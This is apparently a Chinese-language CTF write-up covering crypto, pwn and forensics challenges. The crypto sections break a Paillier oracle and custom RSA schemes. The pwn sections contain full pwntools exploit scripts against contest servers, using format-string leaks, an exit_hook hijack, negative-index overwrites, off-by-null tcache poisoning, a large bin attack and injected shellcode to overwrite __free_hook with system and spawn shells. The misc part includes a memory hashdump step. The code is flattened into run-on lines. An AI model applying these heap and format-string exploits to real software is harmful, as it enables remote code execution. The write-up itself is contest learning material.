题目使用的加密算法是paillier，该算法有乘法同态性质，也就是D(c1_c2)=m1+m2，因此有D(c^k)=k_m。第三步传给服务器两个明文，服务器返回一个密文。第四步可以将这个密文的平方传回给服务器，服务器返回的就是明文的二倍，这样就可以计算出使用的key，进而判断出第三步传回的是哪个密文

import socket
from pwn import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653, 995, 810, 184, 309, 498, 121, 130, 780, 639, 237, 307, 526, 585, 745, 983, 216, 114, 201, 611, 944, 885, 542, 903, 123, 558, 244, 271, 430, 783, 396, 530, 860, 899, 158, 566, 113, 751, 641, 427, 129]def main():sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sk.connect(('47.104.85.225', 57811))msg = sk.recv(1024).decode()suffix = msg[10:msg.find(')')]cipher = msg[msg.find('==') + 3:-1]proof = mbruteforce(lambda x: sha256((x + suffix).encode()).hexdigest() ==cipher, string.ascii_letters + string.digits, length=4, method='fixed')sk.send((proof + '\n').encode())for _ in range(32):msg = sk.recv(1024).decode()while True:if msg.find('Please give me one decimal ciphertext.') != -1:breakmsg += sk.recv(1024).decode()n = int(msg[msg.find('n = ') + 4: msg.find('g = ') - 1])sk.send('1\n'.encode())msg = sk.recv(1024).decode()msg = sk.recv(1024).decode()sk.send('4\n'.encode())msg = sk.recv(1024).decode()sk.send('5\n'.encode())msg = sk.recv(1024).decode()msg = sk.recv(1024).decode()cipher_text = int(msg[:msg.find('Step') - 1])cipher_text = (cipher_text ** 2) % (n ** 2)sk.send((str(cipher_text) + '\n').encode())msg = sk.recv(1024).decode()msg = sk.recv(1024).decode()plaint = int(msg[:msg.find('Step') - 1])m = plaint // 40index = K.index(m)if index % 2 == 0:sk.send('0\n'.encode())else:sk.send('1\n'.encode())msg = sk.recv(20).decode()if(msg == 'sorry'):exit(1)flag = sk.recv(1024).decode()print(flag)if __name__ == '__main__':main()

flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3}

2、myRSA

根据加密函数推导

def encry(message,key,p,q,e):k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)]x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) y = 2*p*q + p + qz = k1 + k2 c = pow(b2l(message),e,p*q)return x * c + y * c + z

n == p*q
encry == x*c+y*c+z== c*(x+y)+z== c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p*q+p+q)+z== c*(p^3+3*q*p^2-p^2+q^3+3*q*p^2-q^2+2*p*q+p+q)+z== c*( (p^3+3*q*p^2+3*q*p^2+q^3) - (p^2-2*p*q+q^2) + (p+q) )+z== c*( (p+q)^3 - (p^2+2*p*q+q^2) + (p+q) - 4*p*q)+z== c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*n)+z

当message已知时，即c已知，则：

（ (p+q)^3 - (p+q)^2 + (p+q) - 4*n ） + z//c == encry//c
bit_length(z) ≈ bit_length(c)(p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n p+q ≈ iroot(encry//c + 4*n,3)

得到p+q后，即可分解得到p和q，然后

encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+z
encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ c
c ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )
pow(flag,e,p*q) == c
flag = pow(c,d,p*q)

交互过程如图：

具体代码如下：

from gmpy2 import *
from libnum import *
import hashlib, string
import string
string.ascii_letters+string.digitsdef getHash(salt, result):characters = string.ascii_letters+string.digitsfor c1 in characters:for c2 in characters:for c3 in characters:for c4 in characters:proof = (c1 + c2 + c3 + c4)if hashlib.sha256((proof + salt).encode()).hexdigest() == result:return proof# print(getHash('22DTYHroGWCn', 'e4c9ef8db51891583283e46918102679b1a6c3dfe39fc03b6358dfc25a774b87'))n = 85343149578176060673525681026723930359314280768242385609024815828556712907874238886300667543103765988586168603631056110828361309591875660584941941481131092974185146750844915150566700701092563758372252836639762879237827599338268809569117654436310368636789827651104134868900261762104527595991833761714901016029
e = 65537
m1s = b'123456'
cc1 = 105373287756342103942318018207056724895113233474538384206517559444291374325564458162829935057543845664205750932828630502829241312854079542426015944635674945007233226969286492255522761944177693783964402040849515814480732059253751703782424818957331522695828579625990399140552544980352436208260945967283728637409348330898050232258063842734314870654886700796338003597546732410884458751238829865847139778432136828226800897288424010979417923480250780864971811755934542620713460207847994035065574879421110368856772784757449082198034834405011617207370781985693178239051493374933415204965262530381690146459520225010213093464909483816574798355968626256136465430160720859598955776299806476466769412478819481700794165326427988495181589303730517671784092779839924300337807278823503948flagcc = 454290573758015984361161126262811922788755078401937487579079634614218474633801258967721156564975754624859004052141021296088980113896281079737825700103991596426503507575094089473968746944563893361448273886607332373914110733362866368001364669002738540783848149392686860094417167606048872651224504789189640531484807929947408609762054624949645581390736093100707064204367843770956253500452956970787266407106360175299552284981057764308021200628000230080295901166574595815192713921576623749344127096235109866174624137703038268714280160476563698761263045817706939008171964455359487525305018326387123255659560601103557128168884398217553297448525018481589736937600226945431670247899467168039685000720178976703743528438795723822518269229648079592317649607172977245430485797171405656
m1 = s2n(m1s)c1 = powmod(m1,e,n)x = iroot(cc1//c1+4*n,3)[0]
while True:t = iroot(x*x-4*n,2)if t[1]:p = (x+t[0])//2q = (x-t[0])//2if p*q == n:print(p,q)breakx = x-1
d = invert(e,(p-1)*(q-1))
x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1)
y = 2*p*q + p + q
t = x+y
flagc = flagcc//t+100
while True:flag = powmod(flagc,d,n)f = n2s(int(flag))if b'ctf' in f or b'flag' in f or b'CTF' in f or b'FLAG' in f:print(f)breakflagc = flagc - 1

3、Random_RSA

python随机数相同的随机数种子产生的随机数序列相同，先用产生的随机数序列异或解密出dp，然后

blog.csdn.net/weixin_4536…

# -*- coding: utf-8 -*-from Crypto.Util.number import *
import gmpy2
import libnum
import random
import binascii
import osn=81196282992606113591233615204680597645208562279327854026981376917977843644855180528227037752692498558370026353244981467900057157997462760732019372185955846507977456657760125682125104309241802108853618468491463326268016450119817181368743376919334016359137566652069490881871670703767378496685419790016705210391
c=61505256223993349534474550877787675500827332878941621261477860880689799960938202020614342208518869582019307850789493701589309453566095881294166336673487909221860641809622524813959284722285069755310890972255545436989082654705098907006694780949725756312169019688455553997031840488852954588581160550377081811151
e = 65537
#rands=[[58, 53, 122],[145, 124, 244],[5, 19, 192],[255, 23, 64],[57, 113, 194],[246, 205, 162],[112, 87, 95],[215, 147, 105],[16, 131, 38],[234, 36, 46],[68, 61, 146],[148, 61, 9],[139, 77, 32],[96, 56, 160],[121, 76, 17],[114, 246, 92],[178, 206, 60],[168, 147, 26],[168, 41, 68],[24, 93, 84],[175, 43, 88],[147, 97, 153],[42, 94, 45],[150, 103, 127],[68, 163, 62],[165, 37, 89],[219, 248, 59],[241, 182, 8],[140, 211, 146],[88, 226, 2],[48, 150, 56],[87, 109, 255],[227, 216, 65],[23, 190, 10],[5, 25, 64],[6, 12, 124],[53, 113, 124],[255, 192, 158],[61, 239, 5],[62, 108, 86],[123, 44, 64],[195, 192, 30],[30, 82, 95],[56, 178, 165],[68, 77, 239],[106, 247, 226],[17, 46, 114],[91, 71, 156],[157, 43, 182],[146, 6, 42],[148, 143, 161],[108, 33, 139],[139, 169, 157],[71, 140, 25],[28, 153, 26],[241, 221, 235],[28, 131, 141],[159, 111, 184],[47, 206, 11],[220, 152, 157],[41, 213, 97],[4, 220, 10],[77, 13, 248],[94, 140, 110],[25, 250, 226],[218, 102, 109],[189, 238, 66],[91, 18, 131],[23, 239, 190],[159, 33, 72],[183, 78, 208],[209, 213, 101],[111, 50, 220],[166, 104, 233],[170, 144, 10],[187, 87, 175],[195, 59, 104],[165, 179, 179],[99, 247, 153],[195, 61, 100],[223, 159, 165],[230, 93, 184],[87, 28, 35],[35, 122, 38],[158, 188, 163],[229, 192, 222],[12, 12, 192],[207, 95, 224],[127, 113, 137],[22, 114, 143],[13, 45, 144],[70, 140, 211],[57, 101, 42],[132, 62, 129],[40, 128, 124],[1, 132, 161],[164, 33, 133],[252, 201, 32],[8, 18, 247],[1, 88, 55],[201, 135, 186],[101, 254, 125],[236, 196, 39],[148, 24, 103],[101, 29, 253],[97, 156, 64],[90, 103, 91],[50, 48, 80],[206, 22, 93],[11, 114, 174],[61, 132, 247],[215, 32, 232],[95, 128, 90],[57, 35, 228],[163, 143, 107],[178, 250, 28],[64, 107, 225],[106, 115, 207],[85, 134, 21],[118, 201, 76],[234, 34, 22],[241, 236, 122],[111, 185, 127],[1, 26, 164],[254, 57, 117],[243, 27, 32],[161, 88, 80],[50, 165, 93],[87, 182, 216],[184, 159, 63],[167, 166, 123],[37, 78, 33],[186, 81, 58],[48, 3, 239],[70, 186, 13],[56, 108, 178],[54, 55, 235],[105, 180, 105],[16, 194, 98],[136, 11, 41],[18, 203, 79],[185, 114, 170],[148, 181, 223],[118, 57, 160],[23, 250, 181],[235, 219, 228],[44, 151, 38],[185, 224, 134],[42, 162, 122],[3, 9, 158],[129, 245, 2],[66, 241, 92],[80, 124, 36]]
res=[55, 5, 183, 192, 103, 32, 211, 116, 102, 120, 118, 54, 120, 145, 185, 254, 77, 144, 70, 54, 193, 73, 64, 0, 79, 244, 190, 23, 215, 187, 53, 176, 27, 138, 42, 89, 158, 254, 159, 133, 78, 11, 155, 163, 145, 248, 14, 179, 23, 226, 220, 201, 5, 71, 241, 195, 75, 191, 237, 108, 141, 141, 185, 76, 7, 113, 191, 48, 135, 139, 100, 83, 212, 242, 21, 143, 255, 164, 146, 119, 173, 255, 140, 193, 173, 2, 224, 205, 68, 10, 77, 180, 24, 23, 196, 205, 108, 28, 243, 80, 140, 4, 98, 76, 217, 70, 208, 202, 78, 177, 124, 10, 168, 165, 223, 105, 157, 152, 48, 152, 51, 133, 190, 202, 136, 204, 44, 33, 58, 4, 196, 219, 71, 150, 68, 162, 175, 218, 173, 19, 201, 100, 100, 85, 201, 24, 59, 186, 46, 130, 147, 219, 22, 81]
# res = [48, 187, 242, 82, 159, 17, 153, 125, 154, 127, 74, 37, 162, 190, 27, 236, 201, 0, 209, 87, 74, 247, 218, 92, 206, 134, 60, 120, 132, 2, 221, 60, 98, 96, 120, 249, 18, 117, 107, 156, 207, 94, 141, 208, 78, 61, 192, 34, 121, 96, 212, 207, 82, 71, 7, 191, 207, 232, 38, 227, 98, 222, 222, 234, 84, 9, 180, 33, 22, 113, 154, 170, 231, 64, 44, 214, 164, 130, 197, 167, 70, 11, 241, 52, 145, 82, 42, 8, 214, 69, 98, 102, 122, 79, 91, 180, 146, 117, 29, 124, 21, 83, 125, 123, 251, 209, 191, 121, 212, 202, 244, 77, 136, 80, 224, 153, 181, 209, 50, 173, 62, 61, 5, 164, 209, 120, 75, 138, 47, 76, 196, 117, 199, 242, 211, 157, 85, 103, 243, 96, 16, 145, 157, 68, 25, 105, 109, 136, 11, 228, 36, 79, 115, 250]
seeds=[4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627, 8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889, 1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999, 925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579]ress = ""
dp = ''
for i in range(0,154):random.seed(seeds[i])rands = []for j in range(0,4):rands.append(random.randint(0,255))# print(rands)ress+=chr((res[i]) ^ rands[i % 4])# dp += str((res[i]) ^ rands[i % 4])
print(ress)
# print(dp)dp = 5372007426161196154405640504110736659190183194052966723076041266610893158678092845450232508793279585163304918807656946147575280063208168816457346755227057
import gmpy2 for x in range(1, e):if(e * dp % x == 1):p = (e * dp - 1) // x + 1if(n % p != 0):continueq = n // pfain = (p-1) * (q-1)d = gmpy2.invert(e, fain)m = pow(c, d, n)if(len(hex(m)[2:]) % 2 == 1):continueprint("m:", m)print("flag:", binascii.a2b_hex(hex(m)[2:]))

pwn

1、note

scanf那里可以进行格式化字符串的利用，首先修改站上残留的stdout指针，可以泄露地址，之后可以任意地址写:

最后利用传统的exit_hook，劫持_dl_rtld_lock_recursive为one_gadget，当调用exit函数时可得到shell

exp:

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import syspc="./note"
reomote_addr=["47.104.70.90",25315]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1:# p=process(pc)context.log_level="debug" p=process(pc,env={"LD_PRELOAD":"./libc-2.23.so"})
if len(sys.argv)==2 :if 'l' in sys.argv[1]:p=process(pc)if 'r' in sys.argv[1]:p = remote(reomote_addr[0],reomote_addr[1])if 'n' not in sys.argv[1]:context.log_level="debug" ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)def lg(s,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) what_choice="choice: "
ch_add="1"
ch_dele=""
ch_edit="2"
ch_show="3"
what_size="size: "
what_c="content: "
what_idx=""
def add(size,c='a'):ru(what_choice)sl(ch_add)ru(what_size)sl(str(size))# 0x100ru(what_c)sn(c)# ru(what_c)def edit(c,hhh=''):ru(what_choice)sl(ch_edit)ru("say ? ")sn(c)##0x64ru("? ")sl(hhh)def show():ru(what_choice)sl(ch_show)ru("content:")add(0x20)bp(0x1235,'\nc')
edit('%7$s'.ljust(8,'\x00'),p64(0xfbad1800)+'\x00'*3*8+'\n')libc_base = ru7f() - 0x3c36e0
lg("libc_base",libc_base)
rtld_lock = libc_base + 0x5f0f48
one_addr=libc_base+0xf1247edit('%7$s'.ljust(8,'\x00')+p64(rtld_lock),p64(one_addr))ru(what_choice)
sl('0')shell()

flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}

2、lemon

开头的伪随机数可绕过，使得flag输入到栈上；

程序在bss段上残留了一个栈地址：

所有菜单函数里面都没有检查负下标，所以可以修改栈空间，通过部分覆盖将环境变量的一个指针改为flag的地址，之后破坏堆结构，报错即可泄露出flag

exp:

# -*- coding:utf8 -*-
from pwn import *pc = "./lemon_pwn"
libc = ELF('./libc-2.26.so')
context.binary = pc
context.terminal = ["gnome-terminal", '-x', 'sh', '-c']
context.log_level= 'debug'remote_addr = ["47.104.70.90", 34524]
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
menu = lambda x:p.sendlineafter(">>> ",str(x))def lg(s, addr):print('\033[1;31;40m%20s-->0x%x\033[0m' % (s, addr))def bp(bkp=0, other=''):if bkp == 0:cmd = ''elif bkp <= 0x7fff:cmd = "b *$rebase("+str(bkp)+")"else:cmd = "b *"+str(bkp)cmd += otherattach(p, cmd)def add(index, name, size, content):menu(1)ru("index of your lemon")sl(str(index))ru("name your lemon:")sn(name)ru("of message for you lemon:")sl(str(size))ru("Leave your message:")sn(content)def add2(index, name,size):menu(1)ru("index of your lemon")sl(str(index))ru("name your lemon:")sn(name)ru("of message for you lemon:")sl(str(size))def show(index):menu(2)ru(" your lemon :")sl(str(index))def dele(index):menu(3)ru(" your lemon :")sl(str(index))def edit(index, content):menu(4)ru(" index of your lemon")sl(str(index))ru("Now it's your time to draw and color!")sn(content)def exploit():sl("yes")sa("Give me your lucky number:",p64(0xcff48db8b7c913e7))sa("tell me you name first:",p64(0)*2+'\x00\x20\x00\x00\x01')ru("0x")flag = int(rv(3),16)success(hex(flag))flag2 = flag+0x1000-0x40# flag地址的末字节success(hex(flag2))payload = 'a'*0x138+chr(flag2&0xff)+chr((flag2>>8)&0xff)##覆盖环境变量的位置success(payload.encode('hex'))edit(-260,payload)add(0,'desh',0x20,'a')dele(0)add(0,'desh',0x10,'a')add2(1,'desh',0x114514)dele(0)payload = p64(0x20)+p64(0x450)+p64(0x100000018)+p64(0x0)add(0,'desh',0x20,payload)dele(0)dele(1)add(0,'\xa0',0x20,'\xa0')add2(1,p64(0x10),0x20)while True:try:p = remote("47.104.70.90",34524)exploit()aaa = ru("or corruption (!prev):")print aaaif "flag" in aaa:pause()except:p.close()continue

flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}

3、PassWordBox_FreeVersion

fgets可以溢出一个\x00;

libc2.27下的off by null，实现chunk overlap，进而修改tcache的fd指针，分配到__free_hook处，并将其修改为system

#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
import syspc="./pwdFree"
reomote_addr=["47.104.71.220",38562]
elf = ELF(pc)
libc = elf.libc
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1:# p=process(pc)context.log_level="debug" p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
if len(sys.argv)==2 :if 'l' in sys.argv[1]:p=process(pc)if 'r' in sys.argv[1]:p = remote(reomote_addr[0],reomote_addr[1])if 'n' not in sys.argv[1]:context.log_level="debug" ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)def lg(s,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) what_choice="Input Your Choice:"
ch_add="1"
ch_dele="4"
ch_edit="2"
ch_show="3"
what_size="Length Of Your Pwd:"
what_c="Your Pwd:"
what_idx="Which PwdBox You Want Check:"
def add(ID,size,c=''):##0x100ru(what_choice)sl(ch_add)ru("Input The ID You Want Save:")sl(ID)ru(what_size)sl(str(size))ru(what_c)sl(c)def add2(ID,size,c=''):##0x100ru(what_choice)sl(ch_add)ru("Input The ID You Want Save:")sl(ID)ru(what_size)sl(str(size))ru(what_c)sn(c)def dele(idx):ru(what_choice)sl(ch_dele)ru("Idx you want 2 Delete:")sl(str(idx))def edit(idx,c):ru(what_choice)sl(ch_edit)sl(str(idx))sn(c)def show(idx):ru(what_choice)sl(ch_show)ru(what_idx)sl(str(idx))add('',0x20) #0
ru("Save ID:")
rv(8)
key = u64(rv(8))for i in range(7): #1-7add('d',0xf8)add('d',0x28) #8
add('d',0xf8) #9for i in range(2):#10-11add('Desh',0x48)add('D',0x28)#12
add('D',0xf8)#13
add('D',0x28)#14for i in range(7):dele(i+1)dele(12)
add2('d',0x28,'a'*0x20+p64(0x1d0^key))dele(9)
dele(13)for i in range(8):#1-7 ,9add('d',0xf8)show(10)
ru("Pwd is: ")
libc_base = u64(rv(8))^keylibc_base -= 0x3ebca0
free_hook=libc_base+libc.sym['__free_hook']
sys_addr=libc_base+libc.sym['system']
lg("libc_base",libc_base)
lg("free_hook",free_hook)add('d',0x48) #13
dele(10)
edit(13,p64(free_hook))add('d',0x40,p64(0x68732f6e69622f^key)) #10
add('d',0x40,p64(sys_addr^key))dele(10)lg("key",key)
shell()

flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}

4、PassWordBox_ProVersion

存在UAF,且只能申请largebin大小的chunk

通过2.31的large bin attack，可以修改 mp_结构体中的tcache_bins和tcache_max_bytes

之后通过计算，在伪造的tcache struct的相应size的位置上写上__free_hook，可将其申请出来改为system

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *pc = './pwdPro'
# p = process(pc)
libc = ELF("./libc.so")
p = remote("47.104.71.220", 49261)
context.log_level = 'debug'
context.binary=pc
context.terminal=["gnome-terminal",'-x','sh','-c']ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell= lambda :p.interactive()
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)def add(idx, id, size, content="a\n"):sla("Choice:", "1")sla("Add:", str(idx))sla("Save:", id)sla("Of Your Pwd:", str(size))sa("Your Pwd:", content)
def show(idx):sla("Choice:", "3")sla("", str(idx))
def edit(idx, content):sla("Choice:", "2")sla("Edit:", str(idx))sn(content)
def dele(idx):sla("Choice:", "4")sla("Delete:", str(idx))
def re(idx):sla("Choice:", "5")sla("Recover:", str(idx))add(0, "a", 0x450)
ru("ID:")
rv(8)
key = u64(rv(8))
print(hex(key))add(1, "a", 0x420)
dele(0)
re(0)
show(0)
ru("Pwd is: ")libc.address = (u64(rv(8))^key) - 0x1ebbe0
print(hex(libc.address))add(0, "a", 0x450)
add(2, "a", 0x440)
add(3, "a", 0x420)
dele(0)
add(4, "a", 0x600)
dele(2)
re(0)
show(0)
ru("Pwd is: ")
rv(0x10)
heap_addr = u64(rv(8))^key
print(hex(heap_addr))
edit(0, p64(libc.address + 0x1ec010 )*2+p64(heap_addr)+p64(libc.address+0x1eb2d8-0x20-4)+'\n')add(10, "a", 0x600)
add(11, "a", 0x800, p64(u64("/bin/sh\x00")^key)+"\n")dele(10)
edit(0, "a"*0xe8+p64(libc.sym['__free_hook']))
add(12, "a", 0x600, p64(libc.sym['system']^key)+'\n')
dele(11)shell()

flag{909cf735-b274-4098-885b-589300839b71}

5、JigSaw'sCage

存在整数溢出/宽度溢出，可以绕过检查得到一块rwx的堆地址：

test函数可以执行输入的汇编代码

利用残留的寄存器r10,r12，分两次写，把__free_hook改为system即可：

sub r10, 0x1496b0

mov qword ptr [r12],r10


exp:

#!usr/bin/env python

#-- coding:utf8 --

from pwn import *

import sys

pc="./JigSAW"

reomote_addr=["47.104.71.220",10273]

elf = ELF(pc)

libc = elf.libc

context.binary=pc

context.terminal=["gnome-terminal",'-x','sh','-c']

if len(sys.argv)==1:# p=process(pc)context.log_level="debug" p=process(pc,env={"LD_PRELOAD":"./libc.so"})

if len(sys.argv)==2 :if 'l' in sys.argv[1]:p=process(pc)if 'r' in sys.argv[1]:p = remote(reomote_addr[0],reomote_addr[1])if 'n' not in sys.argv[1]:context.log_level="debug"

ru = lambda x : p.recvuntil(x,timeout=0.2)

sn = lambda x : p.send(x)

rl = lambda : p.recvline()

sl = lambda x : p.sendline(x)

rv = lambda x : p.recv(x)

sa = lambda a,b : p.sendafter(a,b)

sla = lambda a,b : p.sendlineafter(a,b)

shell= lambda :p.interactive()

ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))

rv6 = lambda : u64(rv(6)+'\x00'*2)

def lg(s,addr):print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))

what_choice="Choice : "

ch_add="1"

ch_dele="3"

ch_edit="2"

ch_show="5"

what_size=""

what_c="iNput:"

what_idx="Index? : "

def add(idx):# 0x10 5个ru(what_choice)sl(ch_add)ru(what_idx)sl(str(idx))

def dele(idx):ru(what_choice)sl(ch_dele)ru(what_idx)sl(str(idx))

def edit(idx,c): #0x10ru(what_choice)sl(ch_edit)ru(what_idx)sl(str(idx))ru(what_c)sn(c)##

def test(idx):ru(what_choice)sl('4')ru(what_idx)sl(str(idx))

def show(idx):ru(what_choice)sl(ch_show)ru(what_idx)sl(str(idx))

ru("Name:")

sl('desh')

ru("The result is ")

size = ru('\n')

print(int(size,10))

ru("Make your Choice:")

sl(str(0xffff00000000))

code1 = asm("add r10, 0x50068; mov r12, r10;")

code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")

add(0)

add(1)

add(2)

edit(0,code1)

edit(1,code2)

edit(2,'/bin/sh\x00')

test(0)

test(1)

dele(2)

shell()


flag{58591d4d-068f-47ed-9305-a65762917b06}### misc#### **1、层层取证**挂载镜像，在内存中找到密钥<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d05e57d8cb0e45a19603dbfbf889ee87~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d8e48b4360dc4647adb90ba967d429e6~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />发现一个流量包<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/afbfeabdfcd846b2a559c0aa568d35ba~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />跟踪udp，打开，保存为zip格式<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/9812ec27701b41dcad1eff9837c30ad5~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />右边有hint和开机密码同<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0a0389c22f374d749c22e7c33fdc2c90~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />hashdump一下<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d70cff8ed59744118289cdf503077a9f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />解一下 xiaoming\_handsome是压缩包密码打开docx，还有一层密码<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/bc427b2440704f58919ef729bd3f1a97~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />原始数据中搜索<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7a9615a8927f4eb090e425c1690e1c60~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" /><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/d023162c07f94b74bc4e0eabaf52facd~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" /><img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/cabd4970be144a8386fb8c01ebbb4169~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />#### **2、鸣雏恋**解压后，得到一个docx，里面就几个字，没有隐藏。改为zip后缀试试。解压zip，里面的key.txt是零宽<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2a90453b91004dce949afe3c74b496d7~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />密码是 Because I like naruto best解压缩包，转化0和1，一把梭出图片

from PIL import Image

from Crypto.Util.number import long_to_bytes

import base64

path = "D:\Desktop\xiangyuncup\misc4_\_rels\out\"

flag = "0b"

for i in range(129488):_path=path+str(i)+".png"a=Image.open(_path)if a.size[0] == 23:flag+="0"else:flag+="1"

cipher=int(flag, 2)

data=long_to_bytes(cipher)

data = str(data).split(',')[1].encode()

image_data = base64.b64decode(data)

with open('1.png', 'wb') as f:f.write(image_data)


<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/fc1750f42baf48e0b771dda780deee9e~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />#### **3、ChieftainsSecret**binwalk可以得到一个表和一张芯片示意图：显然是要分析芯片的功能了。表用折线图画，可以发现是一些三角函数信号，根据信号应该可以得出什么信息<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/b504e5afd31f413ebad8e85f0d209763~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" />处理一下四组数据[www.bilibili.com/video/av589…](https://link.juejin.cn/?target=https%3A%2F%2Fwww.bilibili.com%2Fvideo%2Fav58935371%2F "https://www.bilibili.com/video/av58935371/") 学习了下怎么转换时间x=cos\_p-cos\_ny=sin\_p-sin\_n<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/f37ccda11b784ca3889a78c2fd78985d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image" style="margin: auto" 